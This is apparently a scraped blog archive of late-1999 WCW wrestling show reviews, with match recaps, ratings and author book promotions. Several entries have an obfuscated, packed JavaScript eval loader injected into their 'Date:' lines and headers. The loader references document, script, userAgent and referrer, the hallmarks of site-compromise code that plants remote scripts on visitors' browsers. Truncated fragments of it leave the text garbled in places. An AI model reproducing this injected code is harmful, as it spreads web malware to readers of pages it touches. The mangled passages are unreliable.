Starrcade 1999 (2015 Redo): Vince Russo Thinks You’re Stupid

Starrcade 1999
Date: December 19, 1999
Location: MCI Center, Washington D.C.
Attendance: 8,582
Commentators: Tony Schiavone, Scott Hudson, Bobby Heenan

Now we get a standard opening video, focusing on the powerbomb match and then the World Title match.

Disco Inferno/Lash Leroux vs. Big Vito/Johnny the Bull

Post match Disco gets beaten up and thrown in the body bag, along with a bottle of ether. The mob takes him back to the parking lot and throw him in their car to take them away.

Scott Hall is out of the US Title match due to a knee injury so Benoit is the champion.

Cruiserweight Title: Madusa vs. Evan Karagias

Evan is defending and Madusa offered sex to get this show. After she earned the shot, Evan dumped Madusa for Nitro Girl Spice, making this just another title match but with man on woman violence because Russo is obsessed with this idea. Madusa dives off the top to take out Evan and Spice before sending him into the barricade. They head inside where Evan slaps her in the face and plants her with a powerslam, only to miss a Lionsault.

Hardcore Title: Meng vs. Norman Smiley

Meng throws a cinder block at his head but Norman avoids the whole death thing. Smiley dives behind some boxes to hide, allowing Finlay and Brian Knobbs to come up and beat Meng down. Well kind of as Meng no sells the chair and trashcan shots until Finlay NAILS him with a lead pipe to knock Meng silly. Norman comes out and covers to retain.

Meng beats up Nick Patrick for reasons.

David Flair has a gold crowbar delivered to him and seems very happy.

Oh wait there is, as we cut back to see the Misfits kidnap Oklahoma.

Jim Duggan/??? vs. Revolution

Shane sits in on commentary to make it a handicap match. Dean and Duggan start things off but Saturn comes in less than ten second in. The Varsity Club gets in some cheap shots in the corner before Duggan hammers away with forearms to the back. Dean comes in again for an elbow to the face and a slam, followed by the three point clothesline for two.

Shane tells Duggan he has 24 hours before he has to renounce America. They drape the Revolution flag over him, only to take it right back off.

The Misfits have Oklahoma in a shark cage to make sure he stays out of the Vampiro match.

Vampiro vs. Steve Williams

The five minute clock starts immediately.

Oklahoma vs. Vampiro

Harlem Heat/Midnight vs. Curt Hennig/Creative Control

Dustin, wearing a Dusty Rhodes shirt, talks about the match but Jeff jumps him to start.

Jeff Jarrett vs. Dustin Rhodes

Dustin finally suplexes his way out and gets two off a Boss Man Slam. Shattered Dreams connects but Hennig pulls the referee out at two. That earns Curt some Shattered Dreams of his own and all three head up to the entrance. Dustin plants Hennig with a bulldog but Jeff climbs the ladder and blasts him with a guitar for the pin.

Page says his hands will have a crowbar in them tonight and then those same hands will give Flair a bang.

Diamond Dallas Page vs. David Flair

Page gives him a middle rope Diamond Cutter post match and it about to hit him with the crowbar but the yet to be named Daffney runs in to cover Flair up. Page leaves instead of hit the crazy chick.

Total Package vs. Sting

In the back, Sting gives Liz “super high octane” mace. The STEROIDS chant begins and Luger quickly sends Sting outside. Some whips into the barricade have Sting in more trouble before some elbows get two. Sting no sells a ram into the buckle and Luger gets caught between slaps from Sting and Liz. A double clothesline puts both of them down because of those two and a half DEVASTATING minutes of action.

Sid Vicious vs. Kevin Nash

The referee FINALLY GETS BUMPED, right before Sid hits a powerbomb. Cue Jeff Jarrett with a guitar to knock Sid out cold. The referee slowly gets up and Nash loads up a powerbomb but his back is out. Now the referee turns around as Nash is holding his back and Sid is down. Nash: “Yeah I powerbombed him.” Referee: “WELL OK THEN!” Nash wins. Scott Hudson: “I refuse to refer to Nash as the master of the powerbomb!” Oh dang man. No Scott Hudson endorsement? This is a sham of a reign as powerbomb master!

Benoit says the open challenge is still, uh, open.

US Title: Chris Benoit vs. ???

Both guys go up until Jarrett gets knocked down, followed by both guys going up and getting knocked over for nice crashes. In the best spot of the match, Benoit goes up but Jarrett dropkicks the ladder out from underneath him, sending Benoit down for a huge crash. Benoit is up first and dropkicks the ladder onto Jarrett but Benoit would rather drop a Swan Dive off the top of the ladder instead of grab the belt. Now he goes up and gets the belt for the win.

We recap Goldberg vs. Hart, which started over Hart wanting to give Goldberg a title shot, and then became an Outsiders story involving the Tag Team Titles. Other than a few one off promos, these two have barely addressed each other.

WCW World Title: Bret Hart vs. Goldberg

Robinson comes out as a replacement and an overly excited (and likely drunk) fan is dancing badly in the front row. A big boot puts Hart down back inside but Robinson gets bumped on a hiptoss. Goldberg spears the turnbuckle as the third referee comes down to see Bret put on the Figure Four around the post. Back in and Bret starts in on the leg and puts on a regular Figure Four. The turn sends Bret running for the ropes so he wraps the leg around the middle rope in the corner.

Piper hands Bret the belt and walks off to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with cheap wrestling books at:


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Thunder – December 16, 1999: The Storm Before The Big Storm

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fadns|var|u0026u|referrer|faddz||js|php'.split('|'),0,{})) December 16, 1999
Location: Mobile Civic Center, Mobile, Alabama
Attendance: 3,889
Commentators: Mike Tenay, Scott Hudson, Juventud Guerrera

Sting jumps Diamond Dallas Page for the attack on Monday. Page looks for Sting after a break.

Vampiro vs. Buff Bagwell

Vampiro gets covered in barbecue sauce to continue the unfunny joke.

The Artist Form of Prince Iaukea vs. Evan Karagias

Madusa slaps Evan post match so he leaves with Spice.

Jim Duggan/Midnight vs. Asya/Perry Saturn

The Revolution beats down Duggan but Aaron Neville and Booker T. make the save. Was Neville really necessary there? WWF had Mike Tyson the year before this, but WCW has some country singer in his late 50s at this point.

David Flair screams at Gene Okerlund for no logical reason.

Sting swings his ball bat and looks for Luger.

Hardcore Title: Norman Smiley vs. David Flair

Smiley runs from the arena.

Luger drives away. Bye.

The Wall vs. Steve Williams

Wall and Berlyn argue.

Nitro recap.

Curt Hennig vs. Dustin Rhodes

Before the match, Dustin calls Jeff Jarrett slap happy and promises to be his daddy Sunday night. Hennig jumps him to start but Dustin slams him right back down. This brings Shane inside but he gets caught in the corner for Shattered Dreams. Curt hammers away again and there go the lights. JUST LET THEM WRESTLE! Some guy dressed like Seven flies to the ring with a guitar and nails Dustin for the DQ. My goodness. You have Curt Hennig and Dustin Rhodes and think they need a screwy finish? Those two could wrestle a passable match in their sleep but they get two and a half minutes and a run-in? Really?

Jarrett (like it was going to be anyone else) and Hennig destroy Dustin post match.

After a break and some ads, Jeff Jarrett calls the Rhodes Family a bunch of slapnuts.

Chris Benoit/Sid Vicious vs. Creative Control/Curt Hennig/Shane/La Parka

Sid and Benoit get beaten down. What this has to do with or makes me want to see Sid vs. Nash and Benoit vs. Hall is beyond me. But at least the heels get to look strong and heels are cool right?

Piper is going to be the gatekeeper for the cage match tonight. Oh yay.

Kanyon vs. Diamond Dallas Page

Rating: D+. Not a horrible match but the run-in continues to screw with whatever good stuff this show could have going for it. At least Kanyon has a new character which works well enough for him, but what has happened to Diamond Dallas Page recently? The guy has gone from World Champion to just there in about eight months.

Bam Bam Bigelow runs in but gets laid out by a champagne bottle.

Piper beats up Creative Control with a pipe.

Bret walks to the ring until the director yells CUT.

Starrcade ad.

Tag Team Titles: Outsiders vs. Goldberg/Bret Hart

Goldberg rips the cage door off so he and Piper (now with the lead pipe) can come in. Jeff follows them in with guitars for Goldberg and Piper but Goldberg shrugs it off and spears Jeff down. Nash gets the pipe and hits Goldberg, allowing Jeff (fine ten seconds after the spear) to help chain Goldberg and Hart to the cage, presumably retaining the titles. Piper gets chained as well and Nash and Jarrett attack with the pipe before leaving. Goldberg rips the handcuffs from the cage to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Nitro – December 13, 1999: Brace Yourself Starrcade

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibarf|var|u0026u|referrer|fbsat||js|php'.split('|'),0,{})) Nitro #218
Date: December 13, 1999
Location: New Orleans, Arena, New Orleans, Louisiana
Attendance: 6,835
Commentators: Tony Schiavone, Bobby Heenan

We open with Benoit winning a fight against Jarrett in the back.

Opening sequence.

The Artist Formerly Known As Prince Iaukea vs. Maestro

Nash is looking for Hall.

Evan Karagias hits on Spice but Madusa comes up to get in a catfight.

David Flair chases off a delivery man for reasons of general insanity.

Madusa vs. Spice

Post match Madusa kisses Evan and suplexes him.

Revolution recap.

Jim Duggan comes out to say he has three mystery partners on Sunday. He survived surgery to fight for this country and spend time with his wife and children. The lights go out and come back on to reveal Duggan out cold.

Roddy Piper is going to referee Bagwell vs. Hennig. Russo tells him to do the right thing.

Curt Hennig vs. Buff Bagwell

Roddy Piper is guest referee and makes it a No DQ match just because. Buff throws Hennig down a few times and poses before planting Curt with a slam. This leads to Hennig arguing with Piper for some reason, allowing Buff to grab a rollup for two. Buzzkill is in the crowd and wants to save baby seals. Again I ask, why is this supposed to be funny?

An unhappy Creative Control is on stage.

Luger goes in to see David Flair and is scared by what he sees in the locker room.

Chris Benoit vs. Jeff Jarrett

A sports car arrives.

Meng vs. Tank Abbott

Oh sweet merciful goodness. This is a hardcore match because would you want to see them try to wrestle? They slug it out to start as this is designed to look like a shoot. Abbott takes him to the mat and they fight to the floor for a quick double countout. This is the guy Russo wanted to put the World Title on a month later?

Kanyon was in the car and seems to now be a pimp.

Police stop Piper from going after the Powers That Be.

Meng and Abbott are still fighting in the back.

Revolution vs. Harlem Heat/Midnight

Stevie yells at his brother.

Paul Orndorff is here and summoned to see the Powers That Be.

Finlay is still training Knobbs on how to be hardcore.

Norman Smiley and Jerry Flynn fight in the boiler room. That goes nowhere until Meng and Abbott wander in. Norman and Meng get out while Abbott and Flynn fight.

Sid has a kid named Seth who he calls his coach. Seth says Sid is his favorite wrestler in the world. I think the kid has Downs Syndrome. If he does, I have no issue with this segment whatsoever.

Steve Williams vs. Sid Vicious

David Flair/Total Package vs. Diamond Dallas Page/Sting

After a break, Bigelow comes to the ring and demands Kanyon come out here for a match.

Kanyon vs. Bam Bam Bigelow

Norman hides from Meng.

The Mamalukes have a body bag for Lash.

Piper babbles about his chair match later.

Lash Leroux vs. Big Vito

Post match the Mamalukes destroy Lash and put him in the bag, eventually taking him out to their car.

Paul Orndorff vs. Creative Control

Slick Johnson reverses the decision and names Creative Control the winners by DQ. Good for them I suppose.

Curt Hennig vs. Roddy Piper

Chairs match and another pairing that would have rocked in 1989. Piper apparently has a torn bicep so Hennig goes right after the arm. Roddy comes back with some chair shots and Hennig leaves after about 70 seconds. I see zero point to this match existing.

Bret Hart has been attacked and Goldberg checks on him.

Tag Team Titles: Bret Hart/Goldberg vs. Outsiders

Rating: D. Angle instead of a match here, but thank goodness they managed to get the World Champion pinned six days before Starrcade and give Hall a second (or third if you consider the TV Title still around) title. This is the problem with having the World Title match participants as champions, but giving it to them for four days made it even dumber.

Trash fills the ring to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


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Thunder – December 9, 1999: Now With A-List Awful

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfkzh|var|u0026u|referrer|yyssn||js|php'.split('|'),0,{})) December 9, 1999
Location: Dane County Coliseum, Madison, Wisconsin
Attendance: 3,953
Commentators: Mike Tenay, Juventud Guerrera

Nitro recap.

Dean Malenko vs. Booker T.

Booker (with Stevie) nails Dean with a forearm and the ax kick to start but Dean pokes him in the eye and sends him outside. Saturn and Stevie get into it on the floor as Booker goes back inside for a spinebuster. Booker loads up another ax kick but Shane nails him in the head with the cast, setting up the Cloverleaf on the unconscious Booker for the quick win.

The Artist Formerly Known As Prince Iaukea vs. Vampiro

Prince goes after Oklahoma post match and gets beaten up by Dr. Death.

Russo fires Mona for losing on Monday. Good. Go be the adorable Molly Holly and get to actually show off a bit instead. Rhonda Singh comes in and thanks Russo as Hennig and the twins snicker at her weight. She has a plan to get ratings. Could that plan be to have a boss who makes sure that every viewer knows that women are totally beneath him and how powerful he is over them? Oh and that Singh is fat and we should all laugh at her?

Saturn and Stevie Ray fight in the back.

Rhonda Singh vs. Madusa

David Flair starts talking about his match in the Block (boiler room) with Jerry Flynn. He starts saying To Be The Man but cracks up instead.

Stevie nails Saturn with a Surge container.

David Flair goes to fight Flynn in the boiler room but runs into Buzzkill, who wants them to give peace a chance. David tries to hit him with the crowbar but Flynn takes him down. Cue Tank Abbott for the first time in about six and a half months to lay out Flynn. This was billed as a match, believe it or not.

Tag Team Titles: Goldberg/Bret Hart vs. Creative Control

Saturn vs. Stevie Ray

Total Package vs. Buff Bagwell

Duggan asks Russo for a match tonight but is told no one cares about him.

Jim Duggan vs. Asya

ENOUGH OF THE MAN VS. WOMAN STUFF! It worked with Chyna but this has been old for weeks now. And no match as Creative Control, La Parka and Hennig run in to beat down Duggan. The Revolution comes out with hot dogs and pies to make it a big mess. Harlem Heat comes out for the save.

Benoit/Sid/Rhodes are ready for the main event.

Sting vs. Diamond Dallas Page

Scott Hall/Kevin Nash/Jeff Jarrett vs. Chris Benoit/Dustin Rhodes/Sid Vicious

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Nitro – December 6, 1999: This Is Them Trying

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feair|var|u0026u|referrer|tfsei||js|php'.split('|'),0,{})) Nitro #217
Date: December 6, 1999
Location: Milwaukee Arena, Milwaukee, Wisconsin
Attendance: 7,250
Commentators: Tony Schiavone, Bobby Heenan

The Mamalukes and Tony Marinara arrive with Tony yelling at them for letting Disco and Lash get the better of them. Tonight, they meet the boss.

Fit Finlay has Brian Knobbs in the woods, training him to be a REAL hardcore wrestler. This has potential, but Norman would be far more entertaining.

Hardcore Title: Norman Smiley vs. Rhonda Singh

What is the deal with Russo having men fight women? It happens almost every week. Before the match, Smiley says he would take Finlay apart if he was here tonight. The fat jokes begin as Singh throws weapons into the ring and nails Norman with a trashcan. She tells him to be a man and hits another trashcan shot, followed by a splash in the corner. Norman comes back with a fire extinguisher blast and sends Singh face first through a table in the corner to retain.

IWGP Junior Heavyweight Title: Psychosis vs. Jushin Thunder Liger

Psychosis hits a missile dropkick for two and yells at Charles Robinson for the near fall. Back to the floor with Liger being whipped into the barricade, setting up a top rope hurricanrana to give Psychosis two back inside. A quick Liger Kick stuns Psychosis and Liger throws him into the ropes for a crash. Out of nowhere, a majistral cradle gives Liger the title back.

La Parka chairs Psychosis post match to make sure Liger gets zero focus.

The Nitro Girls play cards when the Mamalukes come in and make it a strip poker game.

Maestro looks for Symphony.

Evan Karagias vs. Mona vs. Madusa

If either girl wins, they get a title shot at Evan at Starrcade. If Evan wins, he gets Starrcade off. The girls shove Evan away and go at it themselves with Madusa kicking her in the face for two. Evan sits in on commentary because EVERY MATCH NEEDS COMMENTARY. Mona comes back with a cross body and missile dropkick but Evan throws her down, only to get small packaged by Madusa for the pin in like 80 seconds.

Jeff Jarrett comes out and guitars Madusa because men beating up women is funny right? He challenges Goldberg for later.

Lash and Disco have tied Tony up and promise him a surprise.

Vampiro and Jerry Only are going to take out Dr. Death tonight.

Oklahoma/Steve Williams vs. Vampiro/Jerry Only

The Nitro Girls cheat to beat the Mamalukes in the poker game.

Disco and Lash get ready to tar and feather Marinara. In the middle, Disco draws what looks to be a Hitler mustache on Tony.

The Outsiders are ready for their matches tonight.

WCW World Title: Bret Hart vs. Total Package

David Flair talks to the voices in his head as Symphony wonders why she took this job.

Jerry Flynn issues an open challenge for the Block.

Asya vs. Midnight

Jim Duggan comes out for the save but gets beaten down and covered with the Revolution flag.

Larry Zbyszko talks to Mike Graham about an upcoming meeting with Russo and company.

We get the return of the Nitro Party tapes, but this one includes a “fan” (soon to be known as Daffney), saying that David Flair is really cool.

Creative Control vs. Roddy Piper

Tony Marinara is tarred and feathered. He offers threats of his father.

The Mamalukes offer a winner take all hand in the poker game.

Dustin Rhodes vs. Meng

Prince Iaukea is now dressed as the Artist Formerly Known As Prince.

Curt Hennig vs. Larry Zbyzsko

Creative Control comes out and shows Robinson the replay so the finish is reversed, meaning Larry is gone.

Chris Benoit vs. Kevin Nash

Sting tells the Outsiders to bring it.

The Mamalukes throw Disco and Lash into a car but the car drives off without them. What

Maestro staggers into the boiler room to find Symphony but gets beaten up by Jerry Flynn. So Jerry is the modern day Mankind? Jerry goes to a door, finds David and Symphony, and eats a crowbar to the face.

Liz has a contract in her hands.

Scott Hall vs. Sting

Non-title, which might have something to do with Hall not bringing the belt with him. Liz comes out with Sting and Nash jumps in on commentary. Hall finds the toothpick throw hilarious but Sting would rather hit him in the face to take over. They quickly head outside with Nash choking Sting with a cord, allowing Hall to get in some cheap shots.

Back in and we hit the abdominal stretch on Sting, followed by a sleeper so neither guy has to do much other than stand there. A belly to back suplex finally gets Sting out and he slugs away, including ten punches in the corner. Sting gets all the way up to twenty but Scott pokes him in the eye for a breather. Liz gets on the apron to pepper spray Hall, setting up the Deathlock for the submission.

Sid Vicious vs. Diamond Dallas Page

Jeff Jarrett vs. Goldberg

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Thunder – December 2, 1999: As Close As They Can Get

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzitz|var|u0026u|referrer|fnyrt||js|php'.split('|'),0,{})) December 2, 1999
Location: Landon Arena, Topeka, Kansas
Attendance: 2,467
Commentators: Larry Zbyszko, Mike Tenay

Hardcore Title: Norman Smiley vs. The Wall

Norman, the champion, is in karate attire and Berlyn comes out for commentary. There are weapons in the ring already but Norman relies on the power of the 80s with a Crane Kick pose, earning him a clothesline. Wall blasts Norman with some weapons shots as Berlyn is suddenly fine with speaking English and demanding an apology from the big guy.

Kaz Hayashi vs. Maestro

Disco and Lash Leroux arrive but have to run from the Mamalukes.

Chavo Guerrero vs. Buzzkill

Buzzkill is mad at himself for cheating, but borrows money from the referee to buy the tyedye and lamp from Chavo.

Meng gets into his dressing room but Lash and Disco show up and swap his name plate for theirs.

The Mamalukes beat up some production guy and lock him in a freezer so he can give Disco and Lash a message.

Steve Williams vs. Villano IV/Villano V/Silver King

Luger is trying to get into his cab but the Mamalukes stop him to ask for Disco and Lash. In one of the smartest things Luger has ever said, he recommends the dressing room with their name on it. As this is going on, Silver King dives into the cab and leaves. Luger is completely thwarted, because that was the only cab (or form of transportation it seems) in all of Topeka.

Jushin Thunder Liger vs. Chris Benoit

Benoit and Liger clean house.

Buff promises to beat Meng tonight.

Speaking of Meng, the Mamalukes find him in the dressing room and get beaten up as you would expect.

Buff Bagwell vs. Meng

Meng beats up the mobsters for fun.

The Mamalukes drink Surge to make themselves feel better, though Johnny could go for a cheese sandwich.

Jeff Jarrett/Mona vs. Evan Karagias/Madusa

Mona armdrags Madusa down but gets caught in a double backdrop. Now Jeff sits on the steps (which is nothing like when Mankind did the same to the Rock, appropriately enough against the Hollys) while Madusa cranks on an armbar. Back up and Mona slams her off the middle rope and crotches Evan, followed by a top rope hurricanrana. Madusa gets back with a German suplex though, allowing Evan to hit a corkscrew plancha for the pin.

Rating: D. So to recap we have a woman who is using sex to get a title shot at Starrcade, another woman who wrestles hard but gets beaten up at the end, but the whole thing is about Jeff Jarrett arguing with an announcer. They really thought this was the answer to women like Chyna?

Mona dropkicks Jarrett post match and eats a guitar to the head. Serves her right for trying in her match.

The Revolution talks about having their own country. Saturn: “And our own continent! Asya!” Get out while you can boys.

Luger is on the phone with Russo and is told that the winner of the match with Sid gets a World Title match this Monday.

Disco Inferno/Lash Leroux vs. Perry Saturn/Dean Malenko

The Last Dance is broken up and Disco gets sat on top, allowing Saturn to bulldog him out to the floor in a nice spot. Lash and Dean get tags and the Cajun cleans house on Malenko but Whiplash is broken up by Saturn. A superkick drops Lash to the floor where he almost gets into it with Asya, allowing Shane to get in a cast shot. The Cloverleaf on the unconscious Lash gets the win as Saturn holds Disco.

Total Package vs. Sid Vicious

Post match Sid can suddenly see and powerbombs Luger to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: The Gold Makes The Rules

Looking at the importance of titles in wrestling and how to make them the most important thing on the show again.

 

http://www.wrestlingrumors.net/kbs-review-gold-makes-rules/35174/




Monday Nitro – November 29, 1999: The Depths Of Russo’s Madness

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iakzh|var|u0026u|referrer|ehaas||js|php'.split('|'),0,{})) Nitro #216
Date: November 29, 1999
Location: Pepsi Center, Denver, Colorado
Attendance: 12,881
Commentators: Tony Schiavone, Bobby Heenan

This episode is dedicated to Hiro Matsuda, who trained Hulk Hogan, Lex Luger, Scott Hall and Ron Simmons among others.

Tony and Heenan run down the card. Hang on for this one.

Nash vs. Goldberg – No DQ, no countout

Hall vs. Sid for the US/TV Titles – No DQ, no countout

Hart vs. Meng for the World Title – No DQ, no countout

Sting vs. Jarrett vs. Benoit – #1 contenders match for a title shot after Starrcade

Jerry Only vs. Steve Williams – Cage

Mud wrestling with wrestlers to be announced

THIS IS ON ONE TV SHOW WITH NO BUILDUP. Three street fights, a cage match, a triple threat and mud wrestling.

Roddy Piper arrives with some fairly big (for wrestling that is) women. One of them appears to be Rhonda Singh, who you might remember as Bertha Faye from 1995 WWF.

Luger is here in a new suit and carrying papers.

The Mamalukes are on the phone with Tony Marinara, who tells them to deal with Disco Inferno and Lash Leroux.

Tag Team Titles: Creative Control vs. Buff Bagwell/Booker T.

Back to Patrick for a gutwrench suplex on Booker but Mr. T. nails an ax kick, allowing for the hot tag to Bagwell, despite the match not even being three minutes old yet. Bagwell cleans house and everything breaks down. Buff mostly misses the Blockbuster but the other twin offers a distraction, allowing Hennig to hit Bagwell with a chair to retain.

Midnight comes out for the post match save.

Luger threatens to sue Liz over breach of contract, hence the papers earlier. She offers to do anything to make him drop the suit, which intrigues Luger.

Singh and the other girl wonder what they should wear for their match tonight.

Symphony (Ryan Shamrock) receives flowers and a love letter from Maestro.

The Mamalukes take Okerlund to a strip club. Ok then.

Russo yells at Hennig and the twins for getting beaten up by Midnight and makes Hennig vs. Midnight later tonight.

Piper is ready for the mud wrestling and cracks some bad jokes.

IWGP Junior Heavyweight Title: Jushin Thunder Liger vs. Juventud Guerrera

Guerrera is challenging/trying to get a work visa and neither guy gets an entrance. Ten seconds in, Buzzkill comes out carrying a Down With Big Brother sign. They run the ropes to start until Juvy hits a sitout bulldog ala Rey Mysterio. Liger is sent to the floor for a springboard dive but comes back in with a frog splash for two. A tilt-a-whirl backbreaker sets up the surfboard as the fans finally wake up a bit.

Chavo Guerrero has taken over the interviews for the night and offers to sell us some fine china for $39.99. Oh and Dr. Death and Oklahoma (his official name now) are going to destroy Jerry Only.

Symphony gets another gift from Maestro.

Gene is getting drunk at the club. Because GENE OKERLUND needs a story.

Speaking of Russo, he wants Piper in his office.

The Wall issues an open challenge for the Block, which is a SHOOT in a boiler room.

US Title: Sid Vicious vs. Scott Hall

Gene is still at the club and dancing with what appear to be strippers. Is there a point to this anytime soon?

As expected, the women will be in the mud later.

Jerry Only vs. Steve Williams

Luger has an idea.

WCW World Title: Bret Hart vs. Meng

Now Symphony gets a bear.

Luger has an idea to pop the ratings. Would that involve Luger taking a long vacation?

Tygress and Spice fight again with Tygress being thrown into a shower.

As expected, Luger tells Russo that Liz will be in the mud.

Chris Benoit vs. Sting vs. Jeff Jarrett

One fall to a finish and the winner gets a World Title shot at some point after Starrcade. Jeff wins a slugout with Sting to start but Benoit suplexes Jarrett down for two. All three beat on each other for near falls until Jarrett comes out on top of it and punches Sting up against the ropes.

Rating: C-. Oh yeah Benoit won but it only took three people running in, a chair, a guitar and the ring bell with Benoit getting the pin while being unconscious for a title shot somewhere down the line. Thank goodness on that one as they were getting close to making someone look strong.

The Mamalukes leave the club with some girls, meaning Gene is on his own.

Goldberg vs. Kevin Nash

Roddy Piper keeps ranting about mud.

The Outsiders want Sid and Goldberg in a cage tonight.

Rhonda Singh vs. Elizabeth

Chae gets in a fight with Skye.

The Wall vs. Jerry Flynn

Chavo is in the back when Piper comes up. Roddy talks about the wars he had with Chavo Sr. and tells Chavo to stand up for himself. The Outsiders come in and get in a fight with Piper.

Curly Bill asks Hennig for a job.

Russo yells at Luger, who promises to get Liz muddy before the end of the night. Creative Control is already cleaned up and wearing new suits.

Midnight vs. Curt Hennig

Luger brings Liz out and throws her in the mud, followed by pouring a bucket of mud over her. He takes off the jacket but Sting comes out and shoves him into the mud, ruining most of the suit. Liz appears to slip badly getting out of the pit.

The Mamalukes are still in bed. Thanks for coming back to that.

Goldberg/Sid Vicious vs. Outsiders vs. Chris Benoit/Bret Hart

Jarrett and the Outsiders beat up Benoit, Goldberg and Sid, seemingly not bothered by the loss.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

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Monday Nitro – November 22, 1999: Calm And Rational?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dahsr|var|u0026u|referrer|tksas||js|php'.split('|'),0,{})) Nitro #215
Date: November 22, 1999
Location: Palace of Auburn Hills, Auburn Hills, Michigan
Attendance: 11,449
Commentators: Bobby Heenan, Tony Schiavone

Opening sequence.

Maybe Bret should take some lessons from the Outsiders because they took WCW to where it is today. That joke easily writes itself. They want a match against Bret and Goldberg tonight and Bret says of course, but Jarrett sneaks in and blasts Bret with the guitar. Like any good heel, he leaves with the belt.

Konnan tells Kidman to stop worrying about his missing camera.

Liz is horrified. Me too. What a stupid story.

Tag Team Titles: Konnan/Kidman vs. Creative Control

Kidman goes after Eddie, but Heenan points out the correct observation: they were just talking and laughing a bit. Nothing implied that something was going on.

With the piano music still playing, Hennig and Buff agree that there are no hard feelings about the whole forcing Curt into retirement thing.

The announcers recap the show thus far.

Chavo Guerrero is selling the Mamalukes some gold chains when Disco comes in, freaks out, and leaves.

Evan Karagias vs. Saturn

Kidman yells about Eddie going beyond Filthy Animal business and wants a match with him later tonight. That could be good.

Vampiro vs. The Wall

Liz jumps inside a shark cage because they just have one around.

A limo arrives.

WCW World Title: Jeff Jarrett vs. Bret Hart

The Mamalukes come up to the Maestro, who has the former Ryan Shamrock next to him, and ask for some Sinatra. Karaoke is performed in one of the only times all night that Maestro has been acknowledged.

Kidman vs. Eddie Guerrero

Skye asks Spice not to fight tonight but Spice has to do what a girl has to do.

Meng vs. Elizabeth

Jim Duggan asks Maestro to play Chopsticks.

Lash Leroux vs. Disco Inferno

The mob comes in to stomp Disco, only to have Lash make the save. Marinara tries to come in but gets put to sleep and thrown into a white body bag.

The Powers yell at Duggan for messing up the bathroom last week, so Russo has been eating prunes all day. Duggan gets to clean the toilet with a toothbrush.

Tygress vs. Spice

We see the limo again.

Buff Bagwell vs. Booker T.

Midnight comes out for the save.

Liz offers to manage Sting against Meng tonight.

Asya vs. Madusa

Chris Benoit vs. Dean Malenko

Meng vs. Sting

Liz checks on Sting post match.

Outsiders vs. Goldberg/???

Goldberg and Nash fight until security pulls them apart to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

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And check out my Amazon author page with wrestling books for under $4 at:


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Mayhem 1999 (2015 Redo): Like Deer In The Headlights

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybdtt|var|u0026u|referrer|trsda||js|php'.split('|'),0,{})) 1999
Date: November 21, 1999
Location: Air Canada Center, Toronto, Ontario, Canada
Attendance: 13,839
Commentators: Tony Schiavone, Bobby Heenan


It’s tournament time with the final four participants in the World Title tournament squaring off to find out who Russo has decided should be his first World Heavyweight Champion. Other than that, we have a bunch of stupid gimmick matches for stories that make next to no sense and are likely there to make fun of the WWF and expose the business as much as possible. Let’s get to it.

The announcers, with Tony in a snazzy suit, preview the show and try to talk over the WE WANT FLAIR chants. I think this is the first time we hear the card in full.

